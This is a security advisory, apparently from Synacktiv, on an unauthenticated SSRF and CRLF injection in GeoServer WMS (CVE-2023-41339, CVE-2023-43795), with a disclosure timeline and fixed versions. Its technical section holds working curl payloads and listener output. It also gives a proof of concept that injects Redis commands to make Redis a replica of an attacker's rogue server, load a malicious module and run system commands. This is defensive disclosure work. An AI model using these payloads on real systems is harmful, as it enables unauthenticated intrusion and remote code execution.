Unauthenticated Server Side Request Forgery & CRLF injection in Geoserver WMS
24/10/2023 - Download
Product
Geoserver WMS
Severity
High
Fixed Version(s)
Version 2.22.5 and 2.23.2.
Affected Version(s)
See section "Affected versions"
CVE Number
CVE-2023-41339, CVE-2023-43795
Authors
Description
Presentation
“GeoServer is a web server that allows you to serve maps and data from a variety of formats to standard clients such as web browsers and desktop GIS programs. Data are published via standards based interfaces, such as WMS, WFS, WCS, WPS, Tile Caching and more. Geoserver comes with a browser-based management interface and connects to multiple data sources at the back end.”
When using specifically crafted data to interact with the Web Map Service (WMS) specification, it is possible to make the application server issue HTTP GET and POST requests. Additionally, by setting the WMS XML key wps:Header it is possible to control the headers of the requests that will be issued by the application server. The control of the content of the requests allows to directly interact with other components that might be running on the server.
The affected endpoint is : POST /geoserver/wms
Issue(s)
The vulnerability is a Server-Side Request Forgery (SSRF) in the URL passed when sending data to Geoserver using the OGC Web Map Service (WMS) specification.
Affected versions
Version prior to 2.22.5 and 2.23.2 are affected, and anterior versions are likely to be vulnerable as well.
Timeline
Date | Description |
---|---|
2022.07.27 | The vulnerability is identified |
2022.08.10 | Advisory sent to geoserver-security@lists.osgeo.org. |
2023.08.30 | Geoserver 2.22.5 and 2.23.2 are released and contain the patch for the vulnerability. |
2023.09.08 | The vulnerability is assigned CVE-2023-41339 |
2023.10.24 | Geoserver advisory is published on Github (GHSA-cqpc-x2c6-2gmf) |
Technical details
Description
The WPS component allows users to craft XML body that are sent to the Web Map Service.
This payload can then be sent to the geoserver/wms public endpoint, which will try to pull the data stored on http://172.17.0.3:8000 to use its content in other Geoserver process.
$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>JTS:area</ows:Identifier> <wps:DataInputs> <wps:Input>
<ows:Identifier>geom</ows:Identifier>
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"/>
</wps:Input> </wps:DataInputs> <wps:ResponseForm> <wps:RawDataOutput>
<ows:Identifier>result</ows:Identifier> </wps:RawDataOutput> </wps:ResponseForm></wps:Execute>'
<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse > [...]</wps:ExecuteResponse>'
The request is well received on the targeted server.
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [09/Aug/2022 13:19:58] "GET / HTTP/1.1" 200 -
By reading documentation, the XML <wps:Header> tag has been identified. This tag allows to craft custom headers in the request, which are directly put after the HTTP request first line.
curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET">
<wps:Header key="Test-Header" value="Synacktiv"/> </wps:Reference> [...]'
[...]
The following request is then received on 172.17.0.3.
# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 53871
GET / HTTP/1.1
Test-Header: Synacktiv
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000
After this first observation, Carriage Return Line Feed (CRLF) were injected as well, in order to determine if one could inject arbitrary DATA in the requests or if the content was limited to HTTP headers.
$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET">
<wps:Header key="titi

ISOLATED LINE IN THE REQUEST

" value="toto"/> </wps:Reference> [...]'
[...]
The following request is then received on 172.17.0.3.
# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 60225
GET / HTTP/1.1
titi
ISOLATED LINE IN THE REQUEST
: toto
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000
The CRLF are interpreted by the server and transmitted in the request. This makes the SSRF vulnerability more dangerous, since it eases the communication with other services that might be running on the same instance.
Proof of concept, remote code execution via Redis
Because no control is made on the target destination, and since the content of the request can be manipulated, it was possible to craft payloads targeting other services. In our demonstration, we decided to target a Redis server running on the same instance as the Geoserver application.
For this POC to work, prerequisites are as follows:
- The targeted server needs to be able to connect to a machine controlled by the attacker.
- The Redis targeted service needs to be set in its default installation with no authentication settings set.
- The attacker needs to setup a Redis rogue server. In our case we used this project: https://github.com/LoRexxar/redis-rogue-server
It has to be noted that projects using Geoserver were identified to use Redis in complement to Geoserver such as GeoMesa (https://www.geomesa.org/documentation/stable/user/redis/index.html). This makes the probability to obtain remote code execution from our vulnerability more likely happen in real-life infrastructures.
In order to exploit an infrastructure such as the one described above, an attacker would need to perform the following actions:
- Start a Redis rogue server on the attacker machine
$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
[...]
- Interact with Redis to define the rogue server as its master with the following request
$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input>
<ows:Identifier>geom</ows:Identifier>
<wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET"><wps:Header
key="SLAVEOF 172.17.0.3 6379

config set dir /tmp

CONFIG SET dbfilename
exp.so

quit

" value="toto"/>
<wps:Body>aa</wps:Body>
</wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm><wps:RawDataOutput>
<ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]
- If everything works, the targeted Geoserver application should send a request to the targeted Redis server. This request will update its configuration so that the targeted Redis server become the slave of the attacker Redis server and will download its configuration in the /tmp/exp.so file. This can be observed from the attacker rogue Redis server command line:
$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
b"\x1b[1;34;40m[->]\x1b[0m b'*1\\r\\n$4\\r\\nPING\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+PONG\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$8\\r\\nREPLCONF\\r\\n$14\\r\\nlistening-port\\r\\n$4\\r\\n6379\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*5\\r\\n$8\\r\\nREPLCONF\\r\\n$4\\r\\ncapa\\r\\n$3\\r\\neof\\r\\n$4\\r\\ncapa\\r\\n$6\\r\\npsync2\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$5\\r\\nPSYNC\\r\\n$1\\r\\n?\\r\\n$2\\r\\n-1\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\\r\\n$48552\\r\\n\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'......b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd1\\xb6\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\n'\n"
-
Lastly, we force the targeted Redis server to load the malicious module and use the system.exec command with the following curl request.
$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>geom</ows:Identifier>
<wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET">
<wps:Header key="MODULE LOAD /tmp/exp.so

SLAVEOF NO ONE

system.exec
"touch /tmp/helloRCE2"

quit

" value="toto"/>
<wps:Body>aa</wps:Body></wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm>
<wps:RawDataOutput><ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]
Following those steps, allows performing RCE on an unexposed Redis server by exploiting the SSRF present on the Geoserver instance. The exploitation of this vulnerability does not require authentication.
If everything worked, two files should be present in the /tmp folder of the targeted server:
-
The file exp.so, which is the malicious module.
-
The file helloRCE that is created by the call to the system.exec module.
Impact
This vulnerability can be used to create GET and POST requests on behalf of the server. This behavior could be exploited to:
- Steal user NetNTLMv2 hashes which could be relayed or cracked externally to gain further access.
- Exploit any service that is accessible from the server but filtered for other users. Especially if a Redis instance is reachable this vulnerability could be leverage to obtain remote code execution on the server running Redis.
- Scan the network